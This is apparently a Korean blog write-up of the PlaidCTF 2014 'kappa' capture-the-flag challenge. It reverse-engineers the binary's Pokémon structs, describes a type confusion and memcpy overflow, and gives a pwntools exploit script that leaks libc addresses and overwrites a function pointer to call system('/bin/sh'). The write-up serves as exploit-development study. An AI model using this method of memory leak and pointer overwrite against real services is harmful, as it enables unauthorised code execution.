-
PlaidCTF 2014 kappaPwnable/CTF 2017. 3. 14. 18:38
바이너리를 실행시키면 이런식으로 포켓몬 관련 메뉴가 나온다.
일단 이 문제에서는 분석하는게 제일 힘들었다 .. 구조체로 나오는 문제를 별로보질못해서 .. 더 힘든문제였다.
이 부분은 첫 번쨰 메뉴를 선택하고 함수호출 을 또한번 하는데 그쪽부분이다.
보면 TYPE가 두 개로있는데 한가지는 BUF 가 0x214 또 다른 한가지는 0x888부분이다.
그리고 아래 사진과 위 사진을 함께보면 구조체 형태를 알 수 있다.
buf + 132 부분을 보면 함수를 호출하는 구조체 배열인데 저 부분을 system 함수로 바꿀 수 있는 시나리오같다.
저 HEX-RAY한 곳데로 + 544 ... , + 310 ... 으로 보면안되고, 저 부분을 그냥 어셈블리로 보면 0X880 등등 으로 보인다.
엄청 큰 수를 보니 딱 봐도 TYPE == 1일때 부분
TYPE == 2 부분 구조체 모습이다.
1234567891011121314151617181920struct KaKuNa { //TYPE == 2char name[14]char picture[501]char *heal (4byte)int *power (4byte)char **attack (4byte)char **function (4byte)}struct Charizard { //TYPE == 1char name[14]char picture[2153]int *heal (4byte)int *power (4byte)char **attack (4byte)char **function (4byte)}cs 저 부분을 구조체형태로 보면 이렇다.
저 TYPE 는 KAKUNA 6번 -> Charizard 1번 이 순서대로 나오는데 Charizard 로 KAKUNA를 덮어버리면 익스가 가능해진다.
익스가 가능해지는 이유는
저기에 있는 memcpy로 구조체 중 두 번째 구조체배열인 char picture[] 부분을 덮어 줄 수 있다. (v4 + 15 부분이 picture 부분)
그럼 TYPE를 어떻게 덮을 수 있냐면 이 쪽부분을 보면 포켓몬이 5마리가 다 찻을때 나오는 부분이다. 여기서는 MEMCMP 등 함수를 쓰지않고 '=' 으로 대입을 해서 포켓몬을 교체시키고, TYPE가 같은지 안같은지 검사를 안 하기 때문에 이 부분을 잘 사용하면 될것같다.
구조체에서 HEAL, POWER는 INT형이라 못쓸것같고,
ATTACK 부분을 변조시키면 메모리 릭이 가능하고 그것으로 시스템 함수를 구한다음 시스템 함수로 FUNCTION 부분을 덮어주면 될것같다.
저 FUNCTION 부분에서 호출 하는 함수 인자는 NAME 부분이기 때문에 NAME에 /bin/sh를 넣어주면 된다.
(메모리 릭과 최종 system("/bin/sh") 부분은 3번메뉴에서 할 수 있다.
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273rom pwn import *import hexdumpp=remote("localhost",9001)read_plt=0x08048510+0x2kakuna_print=0x08048766print p.recvuntil('5. Change Pokemon artwork\n')for i in range(0,6):p.sendline("1")print p.recvuntil('5. Change Pokemon artwork\n')p.sendline("1")print p.recvuntil('3. Run')p.sendline("2")print p.recvuntil('What would you like to name this Pokemon?\n')p.sendline("FUCK")if i>=4:p.sendline("5")p.sendline("1")print p.recvuntil('3. Run')for i in range(0,4):p.sendline("1")print p.recvuntil('3. Run')p.sendline("2")print p.recvuntil('What would you like to name this Pokemon?')p.sendline('/bin/sh\00')p.sendline("5")__libc_start_main=0x080485d0print p.recvuntil('5. Change Pokemon artwork\n')p.sendline("5")print p.recvuntil('5. /bin/sh')payload="A"*509payload+=p32(read_plt)payload+=p32(kakuna_print)payload+="B"*2400p.sendline("5")p.sendline(payload)print p.recvuntil('5. Change Pokemon artwork\n')p.sendline("3")print p.recvuntil('Attack Power: 1094795585\nAttack: ')read=u32(p.recv(4))printf=u32(p.recv(4))free=u32(p.recv(4))p.sendline("3")print p.recv(4096)p.interactive()print "read Address: " + hex(read)print "printf Address: " + hex(printf)print "free Address: " + hex(free)system = read - 0x9b280print "system Address: " + hex(system)print p.recvuntil('5. Change Pokemon artwork\n')p.sendline("5")print p.recvuntil('5. /bin/sh')p.sendline("5")EPayload="A"*513EPayload+=p32(system)EPayload+="A"*2400p.sendline(EPayload)print p.recvuntil('5. Change Pokemon artwork\n')p.sendline("3")print p.recv(4096)p.interactive()cs read_plt + 0x2 부분을 넣으니 NULL 값 없이 printf, free함수 라이브러리 주소까지 출력을시켜서 신기했다.
'Pwnable > CTF' 카테고리의 다른 글
DEFCON 2017 smashme (0) 2017.05.02 BKPCTF cookbook (0) 2017.03.31 PlaidCTF 2014 EZHP (2) 2017.03.10 codegate 2017 messenger (1) 2017.03.08 WITHCON malloc (0) 2017.03.03